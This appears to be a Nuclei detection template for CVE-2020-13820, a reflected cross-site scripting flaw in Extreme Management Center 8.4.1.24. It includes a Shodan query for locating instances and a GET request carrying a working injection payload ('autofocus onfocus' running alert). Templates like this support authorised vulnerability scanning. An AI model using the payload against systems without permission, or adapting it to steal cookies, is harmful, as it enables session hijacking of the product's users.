id: CVE-2020-13820 info: name: Extreme Management Center 8.4.1.24 - Cross-Site Scripting author: tess severity: medium description: | Extreme Management Center 8.4.1.24 contains a cross-site scripting vulnerability via a parameter in a GET request. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. reference: - https://medium.com/@0x00crash/xss-reflected-in-extreme-management-center-8-4-1-24-cve-2020-13820-c6febe951219 - https://gtacknowledge.extremenetworks.com/articles/Solution/000051136 - https://gtacknowledge.extremenetworks.com - https://nvd.nist.gov/vuln/detail/CVE-2020-13820 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2020-13820 cwe-id: CWE-79 metadata: shodan-query: title:"Extreme Management Center" verified: "true" tags: cve,cve2020,xss,extremenetworks requests: - method: GET path: - "{{BaseURL}}/OneView/view/center?a%27+type%3d+%27text%27+autofocus+onfocus%3d%27alert(document.domain)" matchers-condition: and matchers: - type: word part: body words: - "autofocus onfocus='alert(document.domain)" - "Extreme Management Center" condition: and - type: word part: header words: - text/html - type: status status: - 200 # Enhanced by mp on 2022/10/05